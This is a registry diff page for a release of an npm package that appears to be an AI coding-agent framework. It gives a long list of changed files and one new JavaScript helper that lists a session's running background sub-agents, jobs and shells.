@cjhyy/code-shell-core 0.5.0-rc.1 → 0.6.0-rc.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (528) hide show
  1. package/README.md +13 -10
  2. package/dist/agent/agent-definition-registry.d.ts +21 -3
  3. package/dist/agent/agent-definition-registry.js +49 -18
  4. package/dist/agent/agent-definition.d.ts +32 -0
  5. package/dist/agent/agent-definition.js +49 -4
  6. package/dist/arena/arena.js +11 -12
  7. package/dist/arena/context/context-tools.js +47 -6
  8. package/dist/arena/context/within-root.d.ts +7 -0
  9. package/dist/arena/context/within-root.js +15 -0
  10. package/dist/arena/iterate/phases/argue.js +8 -2
  11. package/dist/arena/iterate/phases/revise.js +1 -1
  12. package/dist/arena/iterate/phases/tournament.js +3 -3
  13. package/dist/arena/ledger.js +9 -1
  14. package/dist/arena/phases/adjudication.js +1 -4
  15. package/dist/arena/phases/build-consensus.js +1 -4
  16. package/dist/arena/phases/cross-review.js +2 -8
  17. package/dist/arena/phases/debate-rounds.js +1 -4
  18. package/dist/arena/phases/participant-research.js +1 -4
  19. package/dist/arena/phases/planning-detail-expansion.js +8 -10
  20. package/dist/arena/planner.js +0 -1
  21. package/dist/arena/providers/docs.d.ts +1 -0
  22. package/dist/arena/providers/docs.js +5 -2
  23. package/dist/arena/providers/repo.d.ts +1 -0
  24. package/dist/arena/providers/repo.js +5 -2
  25. package/dist/arena/strategies/utils.d.ts +1 -4
  26. package/dist/arena/strategies/utils.js +7 -51
  27. package/dist/arena/transitions.d.ts +7 -2
  28. package/dist/arena/transitions.js +9 -4
  29. package/dist/arena/types.d.ts +8 -2
  30. package/dist/automation/cron-expr.d.ts +41 -0
  31. package/dist/automation/cron-expr.js +169 -0
  32. package/dist/automation/index.d.ts +41 -0
  33. package/dist/automation/index.js +39 -0
  34. package/dist/automation/runner.d.ts +84 -0
  35. package/dist/automation/runner.js +92 -0
  36. package/dist/automation/scheduler.d.ts +194 -0
  37. package/dist/automation/scheduler.js +623 -0
  38. package/dist/automation/store.d.ts +39 -0
  39. package/dist/automation/store.js +122 -0
  40. package/dist/automation/write-policy.d.ts +34 -0
  41. package/dist/automation/write-policy.js +113 -0
  42. package/dist/automation/write-run.d.ts +51 -0
  43. package/dist/automation/write-run.js +38 -0
  44. package/dist/capability-control/disabled-lists.d.ts +25 -0
  45. package/dist/capability-control/disabled-lists.js +57 -0
  46. package/dist/capability-control/index.d.ts +5 -0
  47. package/dist/capability-control/index.js +3 -0
  48. package/dist/capability-control/overlay.d.ts +64 -0
  49. package/dist/capability-control/overlay.js +116 -0
  50. package/dist/capability-control/project.d.ts +65 -0
  51. package/dist/capability-control/project.js +147 -0
  52. package/dist/capability-control/service.d.ts +70 -0
  53. package/dist/capability-control/service.js +147 -0
  54. package/dist/capability-control/types.d.ts +62 -0
  55. package/dist/capability-control/types.js +17 -0
  56. package/dist/cc-orchestrator/agent-adapter.d.ts +50 -0
  57. package/dist/cc-orchestrator/agent-adapter.js +133 -0
  58. package/dist/cc-orchestrator/cc-capability.d.ts +19 -0
  59. package/dist/cc-orchestrator/cc-capability.js +53 -0
  60. package/dist/cc-orchestrator/codex-session-discovery.d.ts +24 -0
  61. package/dist/cc-orchestrator/codex-session-discovery.js +191 -0
  62. package/dist/cc-orchestrator/codex-session-history.d.ts +25 -0
  63. package/dist/cc-orchestrator/codex-session-history.js +187 -0
  64. package/dist/cc-orchestrator/external-agent-changes.d.ts +19 -0
  65. package/dist/cc-orchestrator/external-agent-changes.js +214 -0
  66. package/dist/cc-orchestrator/external-agent-driver.d.ts +18 -0
  67. package/dist/cc-orchestrator/external-agent-driver.js +69 -0
  68. package/dist/cc-orchestrator/index.d.ts +8 -0
  69. package/dist/cc-orchestrator/index.js +8 -0
  70. package/dist/cc-orchestrator/relevance-judge.d.ts +15 -0
  71. package/dist/cc-orchestrator/relevance-judge.js +29 -0
  72. package/dist/cc-orchestrator/session-discovery.d.ts +46 -0
  73. package/dist/cc-orchestrator/session-discovery.js +125 -0
  74. package/dist/cc-orchestrator/session-history.d.ts +19 -0
  75. package/dist/cc-orchestrator/session-history.js +67 -0
  76. package/dist/cli/agent-server-stdio.d.ts +26 -1
  77. package/dist/cli/agent-server-stdio.js +221 -28
  78. package/dist/cli/agent-server-tcp.d.ts +20 -0
  79. package/dist/cli/agent-server-tcp.js +134 -0
  80. package/dist/cli/graceful-shutdown.d.ts +27 -0
  81. package/dist/cli/graceful-shutdown.js +30 -0
  82. package/dist/context/compaction.d.ts +56 -0
  83. package/dist/context/compaction.js +209 -15
  84. package/dist/context/manager.d.ts +0 -20
  85. package/dist/context/manager.js +25 -41
  86. package/dist/cost-tracker.js +5 -61
  87. package/dist/credentials/cipher.d.ts +49 -0
  88. package/dist/credentials/cipher.js +45 -0
  89. package/dist/credentials/cookie-jar.d.ts +24 -0
  90. package/dist/credentials/cookie-jar.js +40 -0
  91. package/dist/credentials/index.d.ts +7 -0
  92. package/dist/credentials/index.js +5 -0
  93. package/dist/credentials/inject-credential-tool.d.ts +20 -0
  94. package/dist/credentials/inject-credential-tool.js +130 -0
  95. package/dist/credentials/store.d.ts +72 -0
  96. package/dist/credentials/store.js +184 -0
  97. package/dist/credentials/types.d.ts +56 -0
  98. package/dist/credentials/use-credential-tool.d.ts +29 -0
  99. package/dist/credentials/use-credential-tool.js +205 -0
  100. package/dist/credentials/use-gate.d.ts +56 -0
  101. package/dist/credentials/use-gate.js +52 -0
  102. package/dist/cron/cron-runtime.d.ts +2 -0
  103. package/dist/cron/cron-runtime.js +2 -0
  104. package/dist/cron/cron-store.d.ts +2 -0
  105. package/dist/cron/cron-store.js +2 -0
  106. package/dist/cron/scheduler.d.ts +5 -32
  107. package/dist/cron/scheduler.js +5 -113
  108. package/dist/data/model-metadata.d.ts +77 -0
  109. package/dist/data/model-metadata.js +56 -0
  110. package/dist/data/model-metadata.json +216 -0
  111. package/dist/data/openrouter-models.d.ts +18 -7
  112. package/dist/data/openrouter-models.js +35 -8
  113. package/dist/data/openrouter-sync.js +1 -1
  114. package/dist/engine/aux-key.d.ts +10 -0
  115. package/dist/engine/aux-key.js +11 -0
  116. package/dist/engine/dynamic-tool-defs.d.ts +19 -0
  117. package/dist/engine/dynamic-tool-defs.js +36 -0
  118. package/dist/engine/engine.d.ts +431 -108
  119. package/dist/engine/engine.js +1630 -279
  120. package/dist/engine/friendly-error.d.ts +18 -0
  121. package/dist/engine/friendly-error.js +63 -0
  122. package/dist/engine/goal.d.ts +187 -0
  123. package/dist/engine/goal.js +196 -0
  124. package/dist/engine/image-compression.d.ts +81 -0
  125. package/dist/engine/image-compression.js +186 -0
  126. package/dist/engine/image-policy.d.ts +165 -0
  127. package/dist/engine/image-policy.js +189 -0
  128. package/dist/engine/model-connections-pool.d.ts +17 -0
  129. package/dist/engine/model-connections-pool.js +66 -0
  130. package/dist/engine/model-facade.d.ts +10 -0
  131. package/dist/engine/model-facade.js +25 -0
  132. package/dist/engine/patch-orphaned-tools.js +3 -0
  133. package/dist/engine/reactive-threshold.d.ts +13 -0
  134. package/dist/engine/reactive-threshold.js +17 -0
  135. package/dist/engine/resolve-llm-config.d.ts +16 -0
  136. package/dist/engine/resolve-llm-config.js +44 -0
  137. package/dist/engine/runtime.js +9 -1
  138. package/dist/engine/sandbox-cache-key.d.ts +10 -0
  139. package/dist/engine/sandbox-cache-key.js +9 -0
  140. package/dist/engine/sandbox-config.d.ts +31 -0
  141. package/dist/engine/sandbox-config.js +38 -0
  142. package/dist/engine/session-title.d.ts +13 -0
  143. package/dist/engine/session-title.js +34 -0
  144. package/dist/engine/session-usage.d.ts +19 -0
  145. package/dist/engine/session-usage.js +25 -0
  146. package/dist/engine/steer-queue.d.ts +32 -0
  147. package/dist/engine/steer-queue.js +26 -0
  148. package/dist/engine/streaming-tool-queue.d.ts +12 -0
  149. package/dist/engine/streaming-tool-queue.js +50 -10
  150. package/dist/engine/turn-loop.d.ts +94 -9
  151. package/dist/engine/turn-loop.js +775 -342
  152. package/dist/engine/types.d.ts +175 -0
  153. package/dist/engine/types.js +13 -0
  154. package/dist/external-agents/config.d.ts +2 -0
  155. package/dist/external-agents/config.js +15 -0
  156. package/dist/external-agents/types.d.ts +31 -0
  157. package/dist/external-agents/types.js +1 -0
  158. package/dist/git/parse-log.d.ts +13 -0
  159. package/dist/git/parse-log.js +21 -0
  160. package/dist/git/utils.d.ts +8 -6
  161. package/dist/git/utils.js +62 -26
  162. package/dist/git/worktree.d.ts +48 -0
  163. package/dist/git/worktree.js +111 -20
  164. package/dist/hooks/events.d.ts +23 -1
  165. package/dist/hooks/goal-stop-hook.d.ts +58 -0
  166. package/dist/hooks/goal-stop-hook.js +279 -0
  167. package/dist/hooks/hook-output.d.ts +33 -0
  168. package/dist/hooks/hook-output.js +79 -0
  169. package/dist/hooks/registry.d.ts +15 -0
  170. package/dist/hooks/registry.js +57 -1
  171. package/dist/hooks/shell-runner.d.ts +2 -0
  172. package/dist/hooks/shell-runner.js +48 -18
  173. package/dist/index.d.ts +79 -11
  174. package/dist/index.js +89 -6
  175. package/dist/llm/capabilities/param-specs.d.ts +14 -0
  176. package/dist/llm/capabilities/param-specs.js +62 -0
  177. package/dist/llm/capabilities/reasoning-control.d.ts +24 -0
  178. package/dist/llm/capabilities/reasoning-control.js +38 -0
  179. package/dist/llm/capabilities/rules.js +37 -3
  180. package/dist/llm/capabilities/types.d.ts +32 -2
  181. package/dist/llm/clamp-max-tokens.d.ts +11 -0
  182. package/dist/llm/clamp-max-tokens.js +17 -0
  183. package/dist/llm/client-base.d.ts +69 -5
  184. package/dist/llm/client-base.js +185 -25
  185. package/dist/llm/client-factory.d.ts +3 -3
  186. package/dist/llm/client-factory.js +2 -2
  187. package/dist/llm/model-cache.js +4 -2
  188. package/dist/llm/model-pool.d.ts +29 -11
  189. package/dist/llm/model-pool.js +36 -20
  190. package/dist/llm/provider-auth.d.ts +41 -0
  191. package/dist/llm/provider-auth.js +76 -0
  192. package/dist/llm/provider-catalog.d.ts +6 -2
  193. package/dist/llm/providers/anthropic.d.ts +32 -2
  194. package/dist/llm/providers/anthropic.js +207 -18
  195. package/dist/llm/providers/openai.d.ts +47 -2
  196. package/dist/llm/providers/openai.js +478 -71
  197. package/dist/llm/reasoning-setting.d.ts +51 -0
  198. package/dist/llm/reasoning-setting.js +40 -0
  199. package/dist/llm/stop-reason.d.ts +13 -0
  200. package/dist/llm/stop-reason.js +21 -0
  201. package/dist/llm/stream-watchdog.js +5 -1
  202. package/dist/llm/strip-vision.d.ts +32 -0
  203. package/dist/llm/strip-vision.js +94 -0
  204. package/dist/llm/token-counter.js +9 -2
  205. package/dist/llm/types.d.ts +9 -6
  206. package/dist/logging/logger.js +18 -4
  207. package/dist/logging/sanitize-messages.d.ts +10 -0
  208. package/dist/logging/sanitize-messages.js +112 -0
  209. package/dist/lsp/client.js +28 -8
  210. package/dist/lsp/manager.d.ts +1 -1
  211. package/dist/lsp/manager.js +42 -11
  212. package/dist/lsp/root-path.d.ts +9 -0
  213. package/dist/lsp/root-path.js +12 -0
  214. package/dist/model-catalog/builtin.d.ts +12 -0
  215. package/dist/model-catalog/builtin.js +407 -0
  216. package/dist/model-catalog/gen-connections.d.ts +20 -0
  217. package/dist/model-catalog/gen-connections.js +28 -0
  218. package/dist/model-catalog/index.d.ts +41 -0
  219. package/dist/model-catalog/index.js +90 -0
  220. package/dist/model-catalog/params.d.ts +20 -0
  221. package/dist/model-catalog/params.js +45 -0
  222. package/dist/model-catalog/resolve.d.ts +48 -0
  223. package/dist/model-catalog/resolve.js +33 -0
  224. package/dist/model-catalog/save-entry.d.ts +32 -0
  225. package/dist/model-catalog/save-entry.js +104 -0
  226. package/dist/model-catalog/types.d.ts +561 -0
  227. package/dist/model-catalog/types.js +93 -0
  228. package/dist/model-catalog/upsert.d.ts +9 -0
  229. package/dist/model-catalog/upsert.js +8 -0
  230. package/dist/onboarding.d.ts +12 -82
  231. package/dist/onboarding.js +75 -333
  232. package/dist/plugins/gitOps.d.ts +53 -0
  233. package/dist/plugins/gitOps.js +130 -5
  234. package/dist/plugins/installer/checkUpdate.d.ts +16 -0
  235. package/dist/plugins/installer/checkUpdate.js +32 -0
  236. package/dist/plugins/installer/codex/convertAgents.d.ts +7 -0
  237. package/dist/plugins/installer/codex/convertAgents.js +55 -0
  238. package/dist/plugins/installer/codex/convertCommands.d.ts +19 -0
  239. package/dist/plugins/installer/codex/convertCommands.js +46 -0
  240. package/dist/plugins/installer/codex/convertMcp.d.ts +11 -0
  241. package/dist/plugins/installer/codex/convertMcp.js +85 -0
  242. package/dist/plugins/installer/codex/convertSkills.d.ts +12 -0
  243. package/dist/plugins/installer/codex/convertSkills.js +33 -0
  244. package/dist/plugins/installer/detectFormat.d.ts +2 -0
  245. package/dist/plugins/installer/detectFormat.js +6 -0
  246. package/dist/plugins/installer/install.d.ts +7 -0
  247. package/dist/plugins/installer/install.js +123 -0
  248. package/dist/plugins/installer/installFromArchive.d.ts +43 -0
  249. package/dist/plugins/installer/installFromArchive.js +134 -0
  250. package/dist/plugins/installer/installFromSource.d.ts +13 -0
  251. package/dist/plugins/installer/installFromSource.js +51 -0
  252. package/dist/plugins/installer/list.d.ts +9 -0
  253. package/dist/plugins/installer/list.js +30 -0
  254. package/dist/plugins/installer/loadPluginAgents.d.ts +3 -0
  255. package/dist/plugins/installer/loadPluginAgents.js +27 -0
  256. package/dist/plugins/installer/loadPluginMcp.d.ts +14 -0
  257. package/dist/plugins/installer/loadPluginMcp.js +107 -0
  258. package/dist/plugins/installer/parseSource.d.ts +20 -0
  259. package/dist/plugins/installer/parseSource.js +74 -0
  260. package/dist/plugins/installer/paths.d.ts +5 -0
  261. package/dist/plugins/installer/paths.js +25 -0
  262. package/dist/plugins/installer/pruneDisabled.d.ts +24 -0
  263. package/dist/plugins/installer/pruneDisabled.js +73 -0
  264. package/dist/plugins/installer/types.d.ts +52 -0
  265. package/dist/plugins/installer/types.js +28 -0
  266. package/dist/plugins/installer/uninstall.d.ts +2 -0
  267. package/dist/plugins/installer/uninstall.js +18 -0
  268. package/dist/plugins/installer/unzip.d.ts +14 -0
  269. package/dist/plugins/installer/unzip.js +82 -0
  270. package/dist/plugins/installer/update.d.ts +28 -0
  271. package/dist/plugins/installer/update.js +97 -0
  272. package/dist/plugins/loadPluginHooks.d.ts +54 -1
  273. package/dist/plugins/loadPluginHooks.js +83 -1
  274. package/dist/plugins/marketplaceManager.d.ts +15 -1
  275. package/dist/plugins/marketplaceManager.js +58 -4
  276. package/dist/plugins/pluginCommandHook.js +34 -14
  277. package/dist/plugins/pluginContent.d.ts +30 -0
  278. package/dist/plugins/pluginContent.js +83 -0
  279. package/dist/plugins/pluginInstaller.d.ts +34 -0
  280. package/dist/plugins/pluginInstaller.js +168 -35
  281. package/dist/plugins/schemas.js +41 -6
  282. package/dist/plugins/types.d.ts +10 -0
  283. package/dist/preset/index.d.ts +7 -1
  284. package/dist/preset/index.js +112 -6
  285. package/dist/product/types.d.ts +1 -1
  286. package/dist/prompt/composer.d.ts +31 -0
  287. package/dist/prompt/composer.js +95 -25
  288. package/dist/prompt/instruction-scanner.js +5 -3
  289. package/dist/prompt/section-loader.js +1 -0
  290. package/dist/prompt/sections/base.md +1 -0
  291. package/dist/prompt/sections/browser.md +10 -0
  292. package/dist/prompt/sections/coding.md +4 -0
  293. package/dist/prompt/sections/orchestration.md +8 -0
  294. package/dist/protocol/chat-session-manager.d.ts +15 -2
  295. package/dist/protocol/chat-session-manager.js +46 -0
  296. package/dist/protocol/chat-session.d.ts +82 -0
  297. package/dist/protocol/chat-session.js +121 -1
  298. package/dist/protocol/client.d.ts +27 -0
  299. package/dist/protocol/client.js +38 -0
  300. package/dist/protocol/redact.d.ts +50 -0
  301. package/dist/protocol/redact.js +71 -0
  302. package/dist/protocol/server.d.ts +153 -2
  303. package/dist/protocol/server.js +807 -39
  304. package/dist/protocol/tcp-transport.d.ts +45 -0
  305. package/dist/protocol/tcp-transport.js +74 -0
  306. package/dist/protocol/transport.js +3 -2
  307. package/dist/protocol/types.d.ts +69 -0
  308. package/dist/protocol/types.js +22 -0
  309. package/dist/quota/credentials.d.ts +3 -0
  310. package/dist/quota/credentials.js +80 -0
  311. package/dist/quota/index.d.ts +36 -0
  312. package/dist/quota/index.js +155 -0
  313. package/dist/quota/types.d.ts +48 -0
  314. package/dist/quota/types.js +13 -0
  315. package/dist/remote/bridge.d.ts +11 -2
  316. package/dist/remote/bridge.js +61 -33
  317. package/dist/review/review-prompt.d.ts +28 -0
  318. package/dist/review/review-prompt.js +81 -0
  319. package/dist/run/ArtifactTracker.js +5 -4
  320. package/dist/run/EngineRunner.d.ts +27 -1
  321. package/dist/run/EngineRunner.js +46 -8
  322. package/dist/run/FileRunStore.js +40 -11
  323. package/dist/run/RunApprovalBackend.js +25 -5
  324. package/dist/run/RunLock.d.ts +28 -2
  325. package/dist/run/RunLock.js +49 -7
  326. package/dist/run/RunManager.d.ts +12 -0
  327. package/dist/run/RunManager.js +86 -3
  328. package/dist/run/RunQueue.d.ts +1 -0
  329. package/dist/run/RunQueue.js +8 -2
  330. package/dist/run/factory.d.ts +8 -1
  331. package/dist/run/factory.js +1 -0
  332. package/dist/run/index.d.ts +2 -2
  333. package/dist/run/index.js +1 -1
  334. package/dist/run/redirect-target.d.ts +7 -0
  335. package/dist/run/redirect-target.js +13 -0
  336. package/dist/run/types.js +1 -1
  337. package/dist/runtime/background-shell.d.ts +139 -0
  338. package/dist/runtime/background-shell.js +495 -0
  339. package/dist/runtime/output-clean.d.ts +24 -0
  340. package/dist/runtime/output-clean.js +41 -0
  341. package/dist/runtime/ring-file.d.ts +64 -0
  342. package/dist/runtime/ring-file.js +174 -0
  343. package/dist/runtime/safe-spawn.js +15 -34
  344. package/dist/runtime/spawn-common.d.ts +148 -0
  345. package/dist/runtime/spawn-common.js +303 -0
  346. package/dist/runtime/truncate-output.d.ts +22 -0
  347. package/dist/runtime/truncate-output.js +49 -0
  348. package/dist/runtime/utf8-cut.d.ts +11 -0
  349. package/dist/runtime/utf8-cut.js +23 -0
  350. package/dist/services/auto-dream.d.ts +4 -0
  351. package/dist/services/auto-dream.js +26 -26
  352. package/dist/services/browser-open.d.ts +13 -0
  353. package/dist/services/browser-open.js +16 -0
  354. package/dist/services/diagnostics.d.ts +1 -2
  355. package/dist/services/diagnostics.js +12 -7
  356. package/dist/services/dream-consolidation.d.ts +57 -0
  357. package/dist/services/dream-consolidation.js +151 -0
  358. package/dist/services/extract-memories.d.ts +14 -1
  359. package/dist/services/extract-memories.js +45 -6
  360. package/dist/services/memory-orchestrator.d.ts +21 -0
  361. package/dist/services/memory-orchestrator.js +125 -32
  362. package/dist/services/notifier.d.ts +8 -0
  363. package/dist/services/notifier.js +39 -25
  364. package/dist/services/oauth.js +5 -7
  365. package/dist/services/session-memory-sort.d.ts +8 -0
  366. package/dist/services/session-memory-sort.js +9 -0
  367. package/dist/services/session-memory.js +30 -19
  368. package/dist/session/file-history.d.ts +124 -1
  369. package/dist/session/file-history.js +232 -9
  370. package/dist/session/memory.d.ts +116 -2
  371. package/dist/session/memory.js +250 -28
  372. package/dist/session/session-manager.d.ts +63 -1
  373. package/dist/session/session-manager.js +186 -5
  374. package/dist/session/simple-diff.d.ts +23 -0
  375. package/dist/session/simple-diff.js +84 -0
  376. package/dist/session/transcript.d.ts +25 -1
  377. package/dist/session/transcript.js +35 -2
  378. package/dist/session/undo-target.d.ts +67 -0
  379. package/dist/session/undo-target.js +144 -0
  380. package/dist/settings/disk-defaults.d.ts +42 -0
  381. package/dist/settings/disk-defaults.js +33 -0
  382. package/dist/settings/feature-flags.d.ts +64 -0
  383. package/dist/settings/feature-flags.js +61 -0
  384. package/dist/settings/manager.d.ts +101 -1
  385. package/dist/settings/manager.js +345 -15
  386. package/dist/settings/migrate-config.d.ts +45 -0
  387. package/dist/settings/migrate-config.js +125 -0
  388. package/dist/settings/personalization.d.ts +19 -0
  389. package/dist/settings/personalization.js +7 -0
  390. package/dist/settings/schema-export.d.ts +25 -0
  391. package/dist/settings/schema-export.js +38 -0
  392. package/dist/settings/schema.d.ts +1827 -396
  393. package/dist/settings/schema.js +361 -81
  394. package/dist/skills/scanner.d.ts +9 -0
  395. package/dist/skills/scanner.js +30 -2
  396. package/dist/stt/resolve-transcribe.d.ts +31 -0
  397. package/dist/stt/resolve-transcribe.js +108 -0
  398. package/dist/stt/transcribe.d.ts +51 -0
  399. package/dist/stt/transcribe.js +65 -0
  400. package/dist/tool-system/browser-bridge.d.ts +226 -0
  401. package/dist/tool-system/browser-bridge.js +163 -0
  402. package/dist/tool-system/builtin/add-marketplace.d.ts +12 -0
  403. package/dist/tool-system/builtin/add-marketplace.js +76 -0
  404. package/dist/tool-system/builtin/agent-heartbeat.d.ts +49 -0
  405. package/dist/tool-system/builtin/agent-heartbeat.js +89 -0
  406. package/dist/tool-system/builtin/agent-notifications.d.ts +12 -3
  407. package/dist/tool-system/builtin/agent-notifications.js +9 -3
  408. package/dist/tool-system/builtin/agent-output-file.d.ts +38 -0
  409. package/dist/tool-system/builtin/agent-output-file.js +72 -0
  410. package/dist/tool-system/builtin/agent-registry.d.ts +23 -0
  411. package/dist/tool-system/builtin/agent-registry.js +16 -4
  412. package/dist/tool-system/builtin/agent.d.ts +50 -11
  413. package/dist/tool-system/builtin/agent.js +576 -73
  414. package/dist/tool-system/builtin/apply-patch/applier.js +66 -8
  415. package/dist/tool-system/builtin/apply-patch/backup-targets.d.ts +10 -0
  416. package/dist/tool-system/builtin/apply-patch/backup-targets.js +30 -0
  417. package/dist/tool-system/builtin/apply-patch/index.js +7 -3
  418. package/dist/tool-system/builtin/arena.js +6 -7
  419. package/dist/tool-system/builtin/background-jobs.d.ts +76 -0
  420. package/dist/tool-system/builtin/background-jobs.js +124 -0
  421. package/dist/tool-system/builtin/background-shell-tools.d.ts +20 -0
  422. package/dist/tool-system/builtin/background-shell-tools.js +108 -0
  423. package/dist/tool-system/builtin/background-work.d.ts +67 -0
  424. package/dist/tool-system/builtin/background-work.js +86 -0
  425. package/dist/tool-system/builtin/bash-output-style.d.ts +32 -0
  426. package/dist/tool-system/builtin/bash-output-style.js +40 -0
  427. package/dist/tool-system/builtin/bash.d.ts +5 -2
  428. package/dist/tool-system/builtin/bash.js +98 -62
  429. package/dist/tool-system/builtin/browser-tools.d.ts +33 -0
  430. package/dist/tool-system/builtin/browser-tools.js +312 -0
  431. package/dist/tool-system/builtin/cancel-goal.d.ts +31 -0
  432. package/dist/tool-system/builtin/cancel-goal.js +64 -0
  433. package/dist/tool-system/builtin/check-quota.d.ts +15 -0
  434. package/dist/tool-system/builtin/check-quota.js +34 -0
  435. package/dist/tool-system/builtin/complete-goal.d.ts +25 -0
  436. package/dist/tool-system/builtin/complete-goal.js +45 -0
  437. package/dist/tool-system/builtin/config.js +7 -0
  438. package/dist/tool-system/builtin/cron.d.ts +7 -0
  439. package/dist/tool-system/builtin/cron.js +105 -9
  440. package/dist/tool-system/builtin/drive-claude-code.d.ts +30 -0
  441. package/dist/tool-system/builtin/drive-claude-code.js +157 -0
  442. package/dist/tool-system/builtin/edit-model-catalog.d.ts +3 -0
  443. package/dist/tool-system/builtin/edit-model-catalog.js +94 -0
  444. package/dist/tool-system/builtin/edit.d.ts +2 -1
  445. package/dist/tool-system/builtin/edit.js +21 -12
  446. package/dist/tool-system/builtin/eol.d.ts +29 -0
  447. package/dist/tool-system/builtin/eol.js +37 -0
  448. package/dist/tool-system/builtin/file-cache.d.ts +6 -0
  449. package/dist/tool-system/builtin/file-cache.js +8 -0
  450. package/dist/tool-system/builtin/generate-image.d.ts +60 -0
  451. package/dist/tool-system/builtin/generate-image.js +374 -0
  452. package/dist/tool-system/builtin/generate-video.d.ts +55 -0
  453. package/dist/tool-system/builtin/generate-video.js +361 -0
  454. package/dist/tool-system/builtin/grep.js +6 -2
  455. package/dist/tool-system/builtin/image-providers.d.ts +86 -0
  456. package/dist/tool-system/builtin/image-providers.js +190 -0
  457. package/dist/tool-system/builtin/image-uploader.d.ts +33 -0
  458. package/dist/tool-system/builtin/image-uploader.js +74 -0
  459. package/dist/tool-system/builtin/index.d.ts +24 -1
  460. package/dist/tool-system/builtin/index.js +310 -25
  461. package/dist/tool-system/builtin/mcp-tools.js +23 -3
  462. package/dist/tool-system/builtin/memory.js +45 -7
  463. package/dist/tool-system/builtin/notebook-edit.d.ts +2 -1
  464. package/dist/tool-system/builtin/notebook-edit.js +1 -1
  465. package/dist/tool-system/builtin/powershell.js +4 -1
  466. package/dist/tool-system/builtin/read.d.ts +2 -1
  467. package/dist/tool-system/builtin/read.js +11 -3
  468. package/dist/tool-system/builtin/repl.js +4 -1
  469. package/dist/tool-system/builtin/skill.js +9 -0
  470. package/dist/tool-system/builtin/sleep.js +12 -5
  471. package/dist/tool-system/builtin/task.js +4 -1
  472. package/dist/tool-system/builtin/tool-search.js +25 -7
  473. package/dist/tool-system/builtin/update-automation-memory.d.ts +24 -0
  474. package/dist/tool-system/builtin/update-automation-memory.js +60 -0
  475. package/dist/tool-system/builtin/video-providers.d.ts +154 -0
  476. package/dist/tool-system/builtin/video-providers.js +235 -0
  477. package/dist/tool-system/builtin/view-image.d.ts +18 -0
  478. package/dist/tool-system/builtin/view-image.js +96 -0
  479. package/dist/tool-system/builtin/web-fetch.js +12 -2
  480. package/dist/tool-system/builtin/web-search.d.ts +4 -1
  481. package/dist/tool-system/builtin/web-search.js +57 -10
  482. package/dist/tool-system/builtin/worktree.d.ts +2 -1
  483. package/dist/tool-system/builtin/worktree.js +31 -4
  484. package/dist/tool-system/builtin/write.d.ts +2 -1
  485. package/dist/tool-system/builtin/write.js +1 -1
  486. package/dist/tool-system/context.d.ts +166 -6
  487. package/dist/tool-system/executor.d.ts +3 -2
  488. package/dist/tool-system/executor.js +197 -119
  489. package/dist/tool-system/investigation-guard.d.ts +4 -1
  490. package/dist/tool-system/investigation-guard.js +20 -4
  491. package/dist/tool-system/mcp-manager.d.ts +78 -16
  492. package/dist/tool-system/mcp-manager.js +357 -28
  493. package/dist/tool-system/path-policy.d.ts +99 -0
  494. package/dist/tool-system/path-policy.js +578 -0
  495. package/dist/tool-system/permission.d.ts +36 -1
  496. package/dist/tool-system/permission.js +322 -117
  497. package/dist/tool-system/plan-mode-allowlist.d.ts +32 -0
  498. package/dist/tool-system/plan-mode-allowlist.js +65 -0
  499. package/dist/tool-system/registry.d.ts +1 -0
  500. package/dist/tool-system/registry.js +26 -1
  501. package/dist/tool-system/sandbox/index.d.ts +8 -0
  502. package/dist/tool-system/sandbox/index.js +7 -2
  503. package/dist/tool-system/validate-tool-metadata.d.ts +36 -0
  504. package/dist/tool-system/validate-tool-metadata.js +63 -0
  505. package/dist/tool-system/validation.d.ts +10 -0
  506. package/dist/tool-system/validation.js +16 -3
  507. package/dist/types.d.ts +301 -15
  508. package/dist/updater.js +20 -9
  509. package/dist/utils/envUtils.d.ts +0 -9
  510. package/dist/utils/envUtils.js +3 -28
  511. package/dist/utils/exec.d.ts +40 -0
  512. package/dist/utils/exec.js +144 -0
  513. package/dist/utils/format.js +4 -2
  514. package/dist/utils/json.d.ts +12 -0
  515. package/dist/utils/json.js +92 -0
  516. package/dist/utils/lockfile.js +9 -2
  517. package/dist/utils/theme.d.ts +7 -1
  518. package/dist/utils/theme.js +5 -3
  519. package/dist/utils/toolDisplay.js +0 -1
  520. package/package.json +14 -7
  521. package/dist/agent/coordinator.d.ts +0 -49
  522. package/dist/agent/coordinator.js +0 -77
  523. package/dist/settings/manager.test.js +0 -73
  524. package/dist/tool-system/builtin/remote-trigger.d.ts +0 -6
  525. package/dist/tool-system/builtin/remote-trigger.js +0 -54
  526. package/dist/tool-system/builtin/send-message.d.ts +0 -6
  527. package/dist/tool-system/builtin/send-message.js +0 -47
  528. /package/dist/{settings/manager.test.d.ts → credentials/types.js} +0 -0
@@ -0,0 +1,86 @@
1
+ /**
2
+ * Unified view over the THREE kinds of async background work — background
3
+ * sub-agents (asyncAgentRegistry), background jobs / video polls
4
+ * (backgroundJobRegistry), and background shells (backgroundShellManager).
5
+ *
6
+ * Used by the goal-stop-hook to show the judge LLM what's still running, so it
7
+ * can tell "the goal is done except for a finite task that will wake me" (a
8
+ * download / video render → allow stop, wait for the wakeup) from "a long-lived
9
+ * service that the goal doesn't depend on" (a dev server → judge the goal
10
+ * normally). Replacing the old mechanical `hasRunningForSession` short-circuit:
11
+ * a boolean can't distinguish a finite download from a never-ending dev server,
12
+ * but the judge — given each task's kind + command — can.
13
+ */
14
+ import { asyncAgentRegistry } from "./agent-registry.js";
15
+ import { backgroundJobRegistry } from "./background-jobs.js";
16
+ import { backgroundShellManager } from "../../runtime/background-shell.js";
17
+ /** List every still-running background work item spawned by `sessionId`. */
18
+ export function listRunningBackgroundWork(sessionId) {
19
+ const items = [];
20
+ for (const a of asyncAgentRegistry.listForSession(sessionId)) {
21
+ if (a.status === "running") {
22
+ items.push({
23
+ kind: "subagent",
24
+ description: a.description || a.name || a.agentType || "(background sub-agent)",
25
+ });
26
+ }
27
+ }
28
+ for (const j of backgroundJobRegistry.listRunningForSession(sessionId)) {
29
+ items.push({ kind: "job", description: j.description || "(background job)" });
30
+ }
31
+ for (const s of backgroundShellManager.listForSession(sessionId)) {
32
+ if (s.status === "running" || s.status === "starting") {
33
+ items.push({
34
+ kind: "shell",
35
+ description: s.command,
36
+ ...(s.detectedPort != null ? { detectedPort: s.detectedPort } : {}),
37
+ });
38
+ }
39
+ }
40
+ return items;
41
+ }
42
+ /**
43
+ * Every background-work item spawned by `sessionId`, with per-kind detail, for
44
